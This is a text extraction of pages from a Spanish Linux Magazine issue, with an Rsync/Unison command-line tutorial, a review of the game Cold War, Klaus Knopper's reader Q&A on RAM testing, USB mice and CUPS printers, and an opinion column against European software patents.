se ejecutó el programa, Unison pre-

senta un signo de interrogación <-?->

invitando a tomar una decisión. Se

puede escribir < ó > o pulsar [Shift-7] (/)

para posponer la decisión hasta otro

momento, o pulsar [Shift-I] para pospo-

nerla para siempre.

Para ver los comandos disponibles

puede escribirse un signo de interroga-

ción (?). Al final, el programa

comprueba una vez más si realmente

se desean aplicar los cambios: pul-

sando [Y], se arranca la operación de

sincronización.

Proceed withU

propagating updates? [] y

Propagating updates

UNISON started propagating U

changes at 20:20:34 U

on 28 Feb 2006

[BGN] Copying ficherol.tex

from /home/huhnix/dir1

to /home/huhnix/dir2

...

Saving synchronizer state

Synchronization complete

Igual de simple es la sincronización con

máquinas remotas. Primero hay que

asegurarse de que la versión Unison ins-

talada es la misma en ambas máquinas

y luego se escribe unison -ui text car-

peta1 ssh://usuario@maquinaobjetivo/

carpeta.

Como puede observarse, la sintaxis es

un poco distinta a la de Rsync. En lugar

de los dos puntos se tiene una barra.

Para usar una ruta absoluta, es preciso

añadir otra barra: unison -ui text car-

peta1 ssh://usuario@maquinaobjetivo/

carpeta.

Datos Unison

Page 85: Linux Magazine - Edición en Castellano, Nº 20

recursivamente hasta el nivel más bajo, habrá

que especificar la opción -r. Adicionalmente, si

se añade la etiqueta -l recoge los enlaces

simbólicos. Evidentemente es posible una

combinación de estas opciones.

rsync -rl dirl/* dir2/

building file list ... done

ficherol.tex ->U

ficherol_nuevo.tex

kap01.tex

...

Rsync dispone de una manera alternativa de

manejar enlaces simbólicos: si se sustituye -l

por -L, el programa resolverá el enlace, y los

enlaces simbólicos acaban como ficheros nor-

males en el directorio objetivo.

Barra LibreAl añadir una barra al nombre del directorio se

modifica el modo en el que Rsync desarrolla

una operación. Por ejemplo, si se da al

comando rsync -a fuente/carpeta objetivo,

Rsync transferirá el directorio carpeta y su

contenido al directorio objetivo.

Si se añade una barra al directorio objetivo,

rsync se limitará a transferir el contenido de

carpeta al objetivo, metiéndolos directamente

en el directorio objetivo (Figura 1).

Volver a EmpezarSi se usa Rsync para crear copias de seguri-

dad, tiene sentido mantener los atributos de

los ficheros originales. Los atributos inclu-

yen permisos de lectura, escritura y

ejecución junto con marcas temporales, es

decir, información de la última hora y fecha

de acceso (atime), del último cambio de

estado (ctime) y la última modificación

(mtime).

Además, los administradores pueden

aprovechar los parámetros que preservan los

datos del propietario y del grupo y soportar

ficheros de dispositivo. Para mantener los

permisos se especifica la opción -p, -t se

encarga de las marcas temporales y -g man-

tiene intacto el atributo del grupo.

Si bien cualquier usuario normal puede

especificar los parámetros mencionados, las

opciones -o (guarda los datos propietarios) y

-D (atributos de dispositivo) sólo se encuen-

tran disponibles para el superusuario. La

línea de comandos completa con todas estas

opciones sería algo como rsync -rlptgoD

home/huhn/*backup/. Pero existe un atajo:

Rsync dispone de una opción especial que

combina estos parámetros para este caso. En

vez de -rlptgoD se escribe -a.

Exclusiones

Rsync dispone de una prác-

tica opción que permite

excluir determinados ficheros

del proceso de sincroniza-

ción. Para utilizarlo, se

especifica la opción —

exclude= y una pauta de

búsqueda y se definen los

ficheros a excluir. Esta opción

permite el uso de comodines:

rsync -a —exclude=*bak ~/

article/*backup/.

Esto excluye ficheros que

acaban en .bak. Si se desean

excluir ficheros acabados en tilde se añade

otro —exclude: rsync -a —exclude=*bak —

exclude=*~ fuente objetivo.

Puede ahorrarse tiempo almacenando las

exclusiones en un fichero de texto. Se requiere

una línea de separación para cada modelo de

búsqueda. Hay que especificar el parámetro

—exclude-from=FicherodeExclusion para ana-

lizar el fichero.

CooperaciónRsync incluso puede sincronizar datos a tra-

vés de una red. Se pasa el parámetro -e ssh

para encriptar y transferir ficheros usando

SSH. Es preciso cambiar la fuente y el objetivo

con el nombre o dirección IP de las máquinas

local y remota. Si el nombre de la cuenta de la

máquina remota es distinta, hay que añadir el

nombre de usuario remoto seguido de un

signo arroba (@), de la siguiente manera:

rsync -e sshb fuente

usuario@hostobjetivo:objetivo/.

Se escribe una ruta relativa al propio direc-

torio de inicio o bien una ruta absoluta

después de los dos puntos. Una variable de

entorno evita tener que introducir los paráme-

tros para la encriptación SSH cada vez que se

ejecuta el comando. Para Bash el comando es:

RSYNC_RSH=ssh.

Debido a que la variable solamente es

válida dentro del contexto de la shell actual

hay que añadir la línea de exportar el fichero

de configuración de tu Bash, ~/.bashrc, asig-

nar la variable permanentemente y luego

ejecutar source ~/.bashrc para reanalizar el

fichero.

Amontonar DatosRsync es perfecto para la transferencia de

grandes volúmenes de datos. Si se especifica

el parámetro —partial y se interrumpe la

transferencia por alguna razón, puede

tomarse dicha transferencia a partir del punto

en la que se dejó. Especificando la opción —

progress se obtiene un indicador de progreso

que permite seguirle la pista de la operación

de transferencia.

$ rsync —progress —partialU

debian.iso transpluto:U

/scratch/debian/

Password:

debian.iso

22543992 3% 5.15MB/s

0:02:14

Al otro lado de la conexión, el fichero par-

cial se mantiene oculto en el directorio

objetivo. Si se escribe ls -a, se puede ver un

fichero con un nombre como

.debian.iso.wtKNr7. El punto al comienzo

del nombre del fichero mantiene al fichero

oculto y la extensión arbitraria minimiza el

peligro de sobreescritura de los ficheros

existentes.

Cuando se completa la transferencia, el

fichero recobra su nombre original. Si se

interrumpe puede ser restablecida especifi-

cando nuevamente la opción —partial.

La opción —partial tiene una desventaja.

Si se usa Rsync para actualizar un fichero

existente y se interrumpe la transferencia,

desaparece el fichero original de la máquina

objetivo y es sustituido por el fichero parcial

que se ha transferido. Este problema puede

solucionarse creando un enlace duro al

fichero original primero: ln debian.iso

debian_orig.iso. Si la transferencia falla, no

se perderá la imagen ISO. En vez de ello,

aparecerá un nuevo nombre al fichero par-

cial, pero sin destruir el original. �

La barra es importante: ¿Copiará Rsync los contenidos o elfichero en sí?

[1] Página de inicio de Unison: http://

www.cis.upenn.edu/~bcpierce/unison/

RECURSOS

Línea de Comandos: Rsync • LINUX USER

85Número 20W W W . L I N U X - M A G A Z I N E . E S

Page 86: Linux Magazine - Edición en Castellano, Nº 20

86

LINUX USER • Juegos

86 Número 20 W W W . L I N U X - M A G A Z I N E . E S

¡Camaradas! Cold War viene para

asentarse como el primer juego de

sigilo 3D comercial para linux y lo

hace con todos los honores. Y es que

aunque tuviera competencia directa

en linux, Cold War brillaría con luz

propia. Todos los aspectos han sido

cuidados con mimo, máxime si tene-

mos en cuenta que el equipo

desarrollador tenía poca experiencia

en el mundillo de los videojuegos.

Como veremos en detalle a continua-

ción, la calidad general es más que

notable.

ENTRE SOMBRASENTRE SOMBRAS

Sigilo

Este juego se basa casi por completo en

el sigilo. A diferencia de otros títulos del

género (en otras plataformas) aquí no

somos un super soldado mejorado

genéticamente o con una equipación tan

avanzada que rivalizaría con los super

héroes de toda la vida; en Cold War nos

metemos en los zapatos de Matt Carter,

un simple y llano reportero de

investigación norteamericano que tras

llegar a Moscú en plena guerra fría para

conseguir unas fotos que le pueden

arreglar la vida, se ve involucrado en

una conspiración al máximo nivel

orquestada para que determinados

individuos tomen el control de la URSS.

Dadas las nulas habilidades de com-

bate de nuestro protagonista y que no

tenemos ningún arma (al menos inicial-

mente) o protección, se verá obligado a

usar el sigilo en todo momento: escon-

dernos entre las sombras, avanzar

lentamente para hacer poco ruido o crear

distracciones en otro punto para despis-

tar a los guardias serán algunas de las

argucias de las que tendremos que valer-

nos para poder avanzar entre decenas de

guardias en cada nivel.

Pero, ¿que esté enfocado en el sigilo

nos inhabilita a usar un arma? En abso-

luto. A partir de cierto momento se nos

permitirá disparar a los enemigos (con

las armas que consigamos de otros ene-

migos inconscientes o muertos) ya que

ellos tienen como misión eliminarnos

tan pronto como nos localicen, así pues

es cuestión de vida o muerte…. salvo

que seas tan bueno como para evitar tu

muerte sin que les cueste la suya a tus

enemigos. Y es que Cold War incluye dos

El género del sigilo se estrena en nuestra plataforma linux y lo hace

realmente a lo grande con un título de un pequeño grupo de progra-

madores de Praga, [1]Mindware Studios, que lo ha dado todo para

crear un juego que desde el día de su estreno ha pasado a convertirse

en uno de los grandes de este género. Desde la antigua Rusia damos la

bienvenida a Cold War. POR VICENTE CARRO

Figura 1: El menú del juego en perfecto español. Figura 2: Fotograma de un vídeo introductorio estilo comic.

Page 87: Linux Magazine - Edición en Castellano, Nº 20

interesantes modos de dificultad extra:Fantasma y Pacifista. En Pacifista nopuedes matar a nadie durante el trans-curso del juego, mientras que enFantasma además no puedes disparar niuna sola alarma; un verdadero reto reser-vado para profesionales de la paciencia yel sigilo en estado puro.

Reflejos y RelievesEn el apartado gráfico del juego lo quemás llama la atención en cuanto nosponemos a jugar es que podemosapreciar que el protagonista está per-fectamente texturado incluso conmapa de relieve, dándole un acabadomagnífico y muy creíble. Patrick Rak,programador jefe del juego, ha conse-guido que, gracias al nuevo motorgráfico MENG, en pantalla podamosver reflejos, mapas de relieve, buenastexturas, y un siempre presente efectode HDR que se traduce en un ligeroefecto de desenfoque de acuerdo a laluminosidad y color de la imagen. Sinduda, es mucho más fácil entenderloal ver las imágenes que con una expli-cación escrita. También estaránpresentes durante todo el juego bue-nas animaciones de personajes yescenarios muy bien modelados. Sólose le pueden achacar cierta repetitivi-dad al tener que jugar varias vecessobre los mismos escenarios. Pero lomejor de todo es que estos efectos seejecutan correctamente con tarjetasgráficas relativamente modestas, per-mitiéndonos disfrutar de este juego enequipos con configuraciones mediana-mente antiguas. Aunque, lógicamente,lo ideal es jugarlo en un ordenadorpotente para poder disfrutar de losefectos con una buena resolución.

Oigo pasosPor un lado el sonido será parteimportante del juego, ya que si avan-zamos demasiado rápido nuestrospasos serán escuchados por los guar-dias más cercanos, delatando nuestraposición y eventualmente causando lamuerte de nuestro protagonista. Perode igual modo podemos usar el sonidoen nuestra ventaja, por ejemplo,haciendo que un reloj suene en otropunto lejano y consiguiendo así que elguardia de turno se aleje de su posi-ción para investigar, dándonos víalibre en nuestro avance.

Técnicamente el apartado de sonidoestá muy bien tratado, con buenosefectos de audio, muy buenas voces yuna banda sonora muy correcta y bieninterpretada. Respecto a las voces hayque reseñar que aunque no haydoblaje en castellano, los textos enpantalla sí están traducidos, por loque toda clase de público podrá dis-frutar de este juego.

Inspector GadgetUna innovación muy interesante, yvital en los niveles más difíciles, es eluso de gadgets o items. Éstos tienen laparticularidad de que han de ser mon-tados por el protagonista siempre ycuando tenga suficientes puntos detécnica y piezas para hacerlos. Cadavez que encontremos ciertos planos ydocumentos en el juego, aumentaránnuestros puntos de técnica; y por otrolado también podremos encontrar ele-mentos o items necesarios para estosmontajes. Cuanto más complicado seael montaje a realizar, más puntos detécnica y más elementos requerirá suconstrucción. Sin embargo, la moles-tia vale la pena, ya que podremoscrear desde balas de plástico (útilespara incapacitar a un enemigo sinmatarlo) hasta complicados dispositi-vos con bombas de humo de granalcance unidas a detonadores acciona-dos por control remoto, entre otrosartilugios.

Rayos XMatt Carter, el protagonista, conse-guirá casi al principio del juego unacámara muy especial. Esta cámarapermite durante algunos segundos vera través de las cosas como si fuerauna radiografía. Además, si enfoca-mos directamente a la cabeza dealgún enemigo y pulsamos el botón dedisparo conseguiremos lanzarle unacarga de radiación que dejará al rivalinconsciente durante un rato. Tam-bién, con los artilugios que podemoscrear, es posible realizarle mejoras ala cámara, como alargar su duración osu profundidad de visión. Este es unpunto clave del juego, ya que con-vierte misiones que serían imposiblesde realizar en misiones más o menosllevaderas (ver detrás de las puertases una gran ventaja de hecho). Para-dójicamente en un juego en el que

controlamos a un fotógrafo y dondetenemos una cámara de fotos tanespecial, no se nos da la opción dehacer capturas reales de pantalla; noes importante, pero habría sido undetalle incluir dicha opción.

ResumiendoEs un juego sobresaliente, dondetodos los aspectos han sido cuidadosal detalle, único exponente del génerodel sigilo en linux con todos los hono-res. En la demo [2] se incluyen dosniveles distintos que os ayudarán aapreciar tanto la calidad como la téc-nica que destila este título. Si bien escierto que el primer contacto con élnos deja un gusto difícil, si le dedica-mos una hora escasa empezaremos adisfrutar de la verdadera experienciade juego. Adquisición obligada, reciénsalida de la república checa, para losamantes del sigilo. �

Juegos • LINUX USER

87Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Mindware Studios http://www.

mindwarestudios.com

[2] Demo de Cold War http://www.

guadagames.com/product_info.

php?products_id=48

RECURSOS

GLOBAL:

Lo mejor

•Gráficos, destacando

el HDR y relieves

• ¡Por fin un juego de sigilo!

•Ambientación

Lo peor

•No tiene doblaje español

•Poca variedad en localizaciones

•No podemos sacar fotos

8,75

Puntuación

Figura 3: Así se ve una persona si usamos la

cámara de rayos X.

Page 88: Linux Magazine - Edición en Castellano, Nº 20

COMUNIDAD · Konsultorio

88 Número 20 W W W . L I N U X - M A G A Z I N E . E S

equipo. A veces este chequeo encuentra

memoria RAM defectuosa. En otras oca-

siones, sin embargo, los errores son

provocados por una configuración erró-

nea en la BIOS de los tiempos de

refresco. Este tipo de problemas puede

que ocurran sólo bajo una carga de tra-

bajo fuerte que no se simulan con

herramientas como memtest86+.

La siguiente receta me ha funcionado

en un caso donde ninguna herramienta

encontraba nada raro. Debería haber

suficiente espacio en tmp para poder

hacer el test:

1.Empezamos con algo como lo

siguiente:

dd if=/dev/urandom U

of=/tmp/test1 bs=1000k U

count=size_of_your_memory_in_MB

2. Como root (se requiere para la opción

-f), hacemos unos cuantos (una

docena, por ejemplo):

ping -f localhost U

>/dev/null 2>&1 &

ping -f localhost U

>/dev/null 2>&1 &

ping -f localhost U

>/dev/null 2>&1 &

...

Cada ping -f localhost añade una carga

al sistema de unos 1-2.

3. Realizamos la siguiente prueba para

investigar el problema:

while true; do

cp /tmp/test1 /tmp/test2;

md5sum /tmp/test1

/tmp/test2; done

En el caso de que los archivos difieran

(sumas md5 diferentes), se están produ-

ciendo bits cambiantes aleatorios en la

RAM de nuestro ordenador (a continuación

debemos usar un ramdisk para descartar

un error del disco duro), o algún controla-

dor IO (¿disco duro, puerto PCI?) se ha

vuelto loco. En este caso, trataría de reem-

plazar la placa si está en garantía, pues

puede ser una tarea de locos descubrir qué

tipo de RAM funciona adecuadamente con

el timing de nuestra BIOS, y aunque encon-

tremos algo, probablemente no será la

configuración “perfecta”.

Y no, no es “un problema debido a

Linux” si el test descrito muestra errores

que son evidentes.

Ratones USBMe gustaría mucho usar un ratón

con mi portátil bajo Linux.

Desafortunadamente, los portátiles

últimamente carecen de conexiones PS2.

La respuesta obvia sería usar un ratón

USB, sin embargo, trasteando con distin-

tas distribuciones, he encontrado que

Xorg parece no funcionar adecuada-

mente con los ratones USB (USB 2.0). He

notado, no obstante, que si meto el CD

de Knoppix para usarlo en mi ordenador,

no aparece ningún problema con el ratón

USB. El hecho de que Knoppix funcione

con ratones USB me hace pensar que

este problema no está relacionado con el

hardware.

Al contrario que muchas distros actua-

les, Knoppix usa aun XFree y no Xorg.

¿Cuál es el problema y cómo arre-

glarlo? En mi caso tengo un HP NX6110.

dmesg señala un conflicto de memoria,

indicando con un mensaje que el ratón

se ha quedado sin MTRR disponible.

Cuelgues en el sistema

Mi equipo se cuelga en momentos

aparentemente aleatorios. Me han

sugerido que haga un volcado de memo-

ria para buscar pistas. ¿Existe alguna

herramienta para poder analizar el con-

tenido de la memoria? En caso

afirmativo, ¿qué tipo de cosas debería

buscar?

Puedes probar memtest86+

desde un disco de arranque, visita

http://www.memtest.org/. memtest86+

hace un chequeo de la memoria RAM del

ELCONSULTORIODE KLAUS

Klaus Knopper es el creador de

Knoppix y co-fundador de la

LinuxTag Expo. Trabaja en la

actualidad como profesor,

programador y consultor. Si tiene

algún problema de configuración,

o simplemente quiere conocer

mejor cómo funciona Linux, no

dude en escribir sus preguntas a:

[email protected].

Page 89: Linux Magazine - Edición en Castellano, Nº 20

Idealmente, me gustaría tener el portátil

trabajando bajo la última versión de Slack-

ware, que usa el sistema gráfico Xorg. La

principal aplicación que utilizo hace uso de

la base de datos Postgresql, y estoy seguro

que podría echarla a funcionar bajo otras

distribuciones si fuese necesario.

La pregunta comprende varias cate-

gorías, por lo que voy a dividir mis

respuestas.

Portátiles sin PS/2Hace tiempo pensaba que un portátil sin

clavija PS/2 era algo que ningún fabri-

cante iba a ser capaz de vender. Bueno,

parece claro que mi suposición resultó

errónea. Debería haberme preguntado si

existían realmente ordenadores sin

conector PS/2, ya que recuerdo cuando

empezaron a retirar las disqueteras de

los equipos, aunque dejaban una contro-

ladora de disquetera no funcional en la

placa por “razones de compatibilidad”…

No hay gran problema, por tanto.

Linux, aun con el soporte PS/2 habili-

tado, funciona bien sin un dispositivo

PS/2.

¿Problema de Hardware?Podría ser un problema de hardware si el

kernel se queda bloqueado cuando trata

de acceder a un ratón PS/2 no presente o

a un puerto PS/2 con un enrutado de

interrupción erróneo (puede que la

causa de esto esté en el ACPI o el APIC).

Si este es el problema en su caso, puede

plantearse añadir algo como:

acpi=off

o por el contrario

acpi=force

y/o

noapic pnpbios=off

en las opciones APPEND del kernel para

lilo, grub o syslinux. Esto podría salvar-

nos de interrupciones no funcionales.

También:

pci=irqmask=0x0e98

se sabe que es útil en el caso de proble-

mas con las interrupciones PS/2.

XFree vs Xorg y PS/2 vsRatón USBHasta donde yo conozco, los servidores

XFree y Xorg no sólo tienen una sintaxis

altamente compatible en cuanto a los

archivos de configuración, sino que ade-

más comparten el mismo tipo de

detección de hardware. También, Knop-

pix 5 ya está usando Xorg (con casi el

mismo archivo de configuración que

tenía XFree). Este cambio se debe funda-

mentalmente a que prácticamente todas

las distribuciones (incluso Debian) están

cambiando a Xorg hoy día.

Por tanto, conseguir que un ratón USB

y Xorg funcionen correctamente sin

tener un ratón PS/2 como dispositivo de

puntero primario es más un problema de

mala configuración que un problema

relacionado con la temática Xorg frente a

XFree.

Miremos en /etc/X11/xorg.conf. Tanto

si tenemos varios ratones conectados al

equipo, como si sólo tenemos uno o nin-

guno, debemos asegurarnos que

tenemos las siguientes líneas en el

archivo xorg.conf:

Section “ServerFlags”

Option “AllowMouseOpenFail” U

“true”

EndSection

Esto nos permite iniciar el servidor X,

incluso si aparece un error en el procedi-

miento interno de configuración del

ratón de XFree o Xorg.

Ahora bien, si ocurre que tenemos un

ratón que no coopera en absoluto,

situado en el centro de la ventana sin

responder a nada, todavía podemos usar

el teclado para simular los movimientos

del ratón. Pulsamos

Izq-Control-Shift-NumLock (en el teclado

numérico) simultáneamente. Normal-

mente esto causa un pequeño beep.

Entonces podremos mover el puntero

usando las flechas del teclado numérico

(o la emulación que se usa en la mayoría

de los portátiles). En algunos casos, ten-

dremos que pulsar la tecla Num-Lock

dos veces para que funcione. Nótese que

esto es una funcionalidad del servidor X,

por lo que no debería depender del tipo

de escritorio que usemos.

En cualquier caso, podemos intentar

que funcione el ratón USB (con o sin el

ratón PS/2 adicional).

Knoppix (algunas veces) tiene dos o

más ratones listados en la sección Server-

Layout de xorg.conf (véase Listado 3).

Un experto en XFree/Xorg puede seña-

lar que este método es completamente

Konsultorio • COMUNIDAD

89Número 20W W W . L I N U X - M A G A Z I N E . E S

01 Section “InputDevice”

02 Identifier “PS/2 Mouse”

03 Driver “mouse”

04 Option “Protocol” “auto”

05 Option “ZAxisMapping” “4 5”

06 Option “Device” “/dev/psaux”

07 Option “Emulate3Buttons” “true”

08 Option “Emulate3Timeout” “70”

09 Option “SendCoreEvents” “true”

10 EndSection

Listado 1: Ratón PS/2 enxorg.conf

01 Section “InputDevice”

02 Identifier “USB Mouse”

03 Driver “mouse”

04 Option “Device” “/dev/input/mice”

05 Option “SendCoreEvents” “true”

06 Option “Protocol” “IMPS/2”

07 Option “ZAxisMapping” “4 5”

08 Option “Buttons” “5”

09 EndSection

Listado 2: Ratón USB enxorg.conf

Page 90: Linux Magazine - Edición en Castellano, Nº 20

Impresora DesconectadaTengo una impresora USB conec-

tada a un equipo con Suse Linux

9.3. Cada vez que se desconecta el cable

USB, la configuración de la impresora deja

de funcionar, incluso si reinicio y vuelvo a

conectar el cable al mismo conector donde

estaba en un principio. Me veo obligado a

borrar la vieja configuración de la impre-

sora y reinstalar la impresora en Yast.

¿Cuál puede ser el motivo por el que tengo

que hacer esto? ¿Puede ser consecuencia

de alguna configuración errónea del sub-

sistema USB? En este caso, ¿qué puedo

cambiar en el fichero de configuración

para evitar tener que reinstalar la impre-

sora?

Francamente, no creo que cups

cambie la configuración del sistema

simplemente con desconectar la impre-

sora. Una posible explicación para el caso

de la impresora USB podría ser que su

firmware tuviera que ser subido a la impre-

sora cada vez que la conectamos. Si la

conectamos en caliente o udev se “olvida”

de subirlo, la impresora simplemente no

responde a menos que reseteemos el

equipo o reiniciemos los módulos USB

adecuados que fuercen a subir el firmware.

Mi consejo en este caso es que no se debe

comprar una impresora que no funcione

tal cual (es decir, que no se necesite subir

firmware para poder funcionar).

Una segunda posible explicación sería

que el estado de la impresora en cups se

quede marcado como “offline” al desco-

nectar la impresora, y cups esté

configurado de manera que no soporte el

reescaneo automático para devolver el

estado de nuevo a “online”. Para compro-

bar si estamos en este caso:

1. Abrimos la configuración de la impre-

sora. En KDE, debemos teclear lo

siguiente

kcmshell printmgr

2. Pulsamos con el botón derecho del

ratón en la impresora y verificamos si

el estado indica “online”. Podemos

también reiniciar/habilitar esta impre-

sora con el mismo botón.

Se puede hacer esto mismo con el fron-

tend web de cups, algo menos aconsejable,

que podemos encontrar en http://

localhost:631/printers/.

Una tercera sospecha: podemos verificar

si hay algunos trabajos pendientes para

imprimir que contengan información

corrupta (como algún archivo PDF

corrupto). Tendremos que borrar estas

tareas pendientes de la cola para poder

regresar a un estado operativo.

En cualquier caso deberíamos compro-

bar los logs de /var/log/cups en busca de

errores, y ver también si dmesg revela

algún problema con el puerto de la impre-

sora. �

erróneo porque sólo puede haber UN

único CorePointer.

De igual modo, XFree/Xorg genera una

notable advertencia acerca del hecho de que

hay DOS de estos punteros presentes en el

archivo de configuración. Bueno, a pesar del

mensaje de advertencia acerca de los punteros

extra, esta configuración ha funcionado per-

fectamente en Knoppix, con esta misma

sintaxis, desde hace años, y las X necesitan al

menos un CorePointer operativo para que fun-

cionen las operaciones con el ratón. Esta

opción nos proporciona una copia de seguri-

dad en caso de que falle en el arranque. Por

tanto, sí, Xorg puede tener más de un Core-

Pointer.

Pero en el caso de un portátil que no tenga

conector PS/2, o resulte que sólo tenga uno

interno para el touchpad, podemos eliminar o

comentar la línea InputDevice “PS/2 Mouse”

“CorePointer”.

El Listado 1 es un ejemplo para un ratón

PS/2:

La configuración del Listado 1 incluso

puede ubicarse en xorg.conf si la línea Input-

Device “PS/2 Mouse” “CorePointer” se ha

eliminado de la sección ServerLayout.

Para un ratón USB, podemos ver un ejem-

plo en el Listado 2.

La configuración en el Listado 2 debería

funcionar con la mayoría de los ratones USB.

Si /dev/input/mice/ parece muerta, probable-

mente no tenemos “evdev” compilado en el

kernel o el módulo “evdev” no está cargado.

Para algunos kernels, los eventos del ratón PS/

2 se replican en /dev/input/mice, junto a los

eventos del ratón USB, por lo que en realidad

necesitamos únicamente la línea Input-Device

“USB Mouse” “CorePointer” en ServerLayout y

podemos eliminar sin riesgo la línea “PS/2”.

Tras reiniciar Xorg, deberían funcionar

tanto el ratón interno como el externo. Si

conectamos el ratón externo unos momentos

más tarde, y no se reconoce inmediatamente,

deberíamos ser capaces de activar el ratón sin

tener que reiniciar las X, simplemente conmu-

tando a una consola de texto y volviendo a

conmutar a las X.

COMUNIDAD · Konsultorio

90 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Cambiamos la configuración de la impresora con el botón derecho del ratón en el

administrador de impresoras de KDE “kcmshell printmgr”.

01 Section “ServerLayout”

02 ...

03 InputDevice “USB Mouse”

“CorePointer”

04 InputDevice “PS/2 Mouse”

“CorePointer”

05 EndSection

Listado 3: Entrada para elratón en Knoppix

Page 91: Linux Magazine - Edición en Castellano, Nº 20

cuellos de botella de la arquitectura del

código, en sentido amplio, de Internet.

La defensa debe insistir en pronunciar

la palabra secreta de todo este asunto:

“monopolio”, y en demostrar la imposi-

bilidad de eliminar bajo condiciones

política y jurídicamente controladas el

movimiento del software libre. Porque lo

que sí debe tener muy claro una sociedad

abierta es que todo totalitarismo basa su

estructura económica en el monopolio.

El monopolio salvador de Microsoft es

muy tradicionalista, ya que, como pro-

ductor de unas soluciones técnicas que

se remontan en su planteamiento a

muchos años atrás, recoge un conjunto

de cuestiones bien concretas con sus

planteamientos y pretende encauzar la

historia de la programación sobre esos

rieles, desfasados y determinados frente

a la realidad. Parte además de un para-

digma ideológico artificial: sólo puede

haber un sistema operativo. Pero realidad

significa propensión a los hechos. La

imaginación es orgánica, en ella hay

esperanza fuera de esa cada vez más

necrópolis que es la Oficina Europea de

Patentes. Ellos aún no lo saben, pero con-

tamos con un arma secreta, legal y

definitiva: la ausencia de glamour de los

monopolios. �

91

Opinión • COMUNIDAD

José María Lancho es abogado y

fundador de la Asociación Legal-

venture (http://www.legalventure.

com/) un grupo de abogados que

pretende estudiar la relación del

derecho y la tecnología como facto-

res de cambio social en España.

Asimismo, José María es miembro

fundador del Observatorio de Neu-

tralidad Tecnológica (http://

neutralidad.es/),

dedicado a la

denuncia de abu-

sos contra los

usuarios en mate-

ria tecnológica.

EL A

UT

OR

La era glacial es lo más parecido a la

primavera para los monopolios y

el termómetro legal no marca muy

alto últimamente en Europa. La fiebre

ideológica de las patentes de software

aún domina la Oficina de Patentes Euro-

pea donde creen que las patentes son un

buen negocio para el viejo continente,

algo que además les permitirá el creci-

miento gigantesco de su aparato

burocrático.

Ultimátum, Ironía y Decadencia son

tres bailarinas traídas a la tarima del

escenario europeo por uno de los directo-

res comerciales de Microsoft

concretamente para lanzar desde sus

tacones la amenaza de eventuales

demandas por infracción de patentes a

los que se salgan fuera del paraguas de

sus productos. Pero el miedo a los fantas-

mas es la única prueba de que estos

existen y la única prueba de que las

patentes de software en Europa tienen

alguna virtualidad o eficacia es el temor

de algún directivo a una demanda Euro-

pea por infracción. Alguno de sus apoyos

en Bruselas pretende cargarse de convic-

ción afirmando que cuando se den el

gran banquete, al menos las más grandes

mantendrán el protocolo en la mesa.

La patente para software en Europa

sólo es comprensible para alguien que

piensa que un sistema operativo es un

lugar donde se crían gallinas, o que un

monopolio en Europa es algo que sólo

sucede en los videojuegos. No creo que

los políticos le vayan a dejar a hacer a Mr.

Gates algo que no les dejan hacer a ellos

mismos: controlar la gramática. Qué más

quisieran ellos que controlar el código de

lo que podemos decir y pensar. Gates

dice que sólo lo quiere para el Universo

digital, por eso, tras varios asaltos direc-

tos de la propuesta de patentamiento del

software al Parlamento Europeo, el movi-

miento pro-patentes sólo ha servido para

enriquecer a los lobbys de Bruselas y es

que los políticos prefieren dedicar, mil

veces, su tiempo a regular la simetría de

los hielos del frigorífico antes que entrar

en el patentamiento del software. Las

patentes para el software son el último

recurso que le queda a la era de los dino-

saurios y van a pelear, presionando país a

país y ganando todavía batallas.

Las grandes empresas de software, en

su empeño por consagrar sus patentes en

Europa, se comportan como solteronas

que quieren que su maridaje con el Estado

se vuelva irreversible. La estrategia es sen-

cilla: Microsoft le ofrece al Estado la

estructura patriarcal monógama que en

términos de reparto de poder es el tipo de

estructura más sencilla desde el neolítico.

La oferta habla de igualdad para todos,

léase igualdad de oportunidades para esta-

blecer el propio dominio, es decir, para

crear y mantener la desigualdad. Pero la

atractiva esposa esconde cuál es el juego:

quién va a controlar la arquitectura de

Internet, entendida como la reinterpreta-

ción conexiva de toda la información del

planeta. Eso es lo que quiere el Imperio: la

evolución y la arquitectura de la red. A ese

nivel, hasta los derechos de autor serán un

problema para el Sr. Gates, porque con

copyright no se controla la red. Es más, el

canon sobre los soportes digitales no creo

que le guste nada y no va a permitir que

los burócratas civiles de las entidades de

gestión vayan a mantener mucho tiempo

su cazo en la red.

Poco tienen que ver las acciones recien-

tes antimonopolio en Europa que llegan

tarde y llegan pronto. Tarde porque hay

situaciones de hecho que la legislación

europea no es capaz de corregir. Y una

sanción le vendría muy a propósito a

Microsoft para acallar inquietudes: “se ha

hecho dura justicia”, dirá la gran

empresa. Por eso digo que llega pronto

respecto de la verdadera amenaza de esa

empresa. La empresa tiene por vía de

hecho y de patentes controlados todos los

91Número 20W W W . L I N U X - M A G A Z I N E . E S

LA CONSPIRACIÓNMONOPOLÍSTICA

Page 92: Linux Magazine - Edición en Castellano, Nº 20

#09

#12

#15 #16 #17

#13 #14

#10 #11

a go t a do

¡Hazte con tus ejemplares atrasados!

WWW.LINUX-MAGAZINE.ES/ATRASADOS

Page 93: Linux Magazine - Edición en Castellano, Nº 20

#18 #19

¡pídelos ya!

el REPOSITORIOde conocimientos

LINUXmás COMPLETO

¡No esperes aque se agoten!

WWW.LINUX-MAGAZINE.ES/ATRASADOS

Page 94: Linux Magazine - Edición en Castellano, Nº 20

94

EVENTOS

94 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Virtualization Conference

Fecha: 14-15 Noviembre

Ciudad: Colonia, Alem.

Sitio Web:

http://www.linux-magazine.com

I Concurso Universitario de

Software Libre

Fecha: 1-13 Octubre

Ciudad: Sevilla, España

Web:http://concurso-softwarelibre.us.es

Trolltech Devel. Days 2006

Fecha: 26-27 Octubre

Ciudad: San José,EE.UU.

Sitio Web:

http://www.trolltech.com

Información de Contacto

DirectorPaul C. Brown

CoolaboradoresPaul C. Brown, Jose Manuel González Vida, JuanRafael Fernández, Pedro Orantes, José María Ruíz,Alberto Planas, Jose A. García, Ana Mª Ferreiro

TraductoresPaqui Martín Vergara, Paul C. Brown, VíctorTienda, Oliver Kurz.

MaquetaciónJuan Miguel Ramírez

Diseño de [email protected]

Publicidadwww.linux-magazine.es/pub/

Para EspañaMarketing y Comunicaciones [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516

Paul C. [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516

Para el Resto del MundoBrian Osborn [email protected] Tel.: (+49) 6509 910 495Fax.: (+49) 6509 910 497

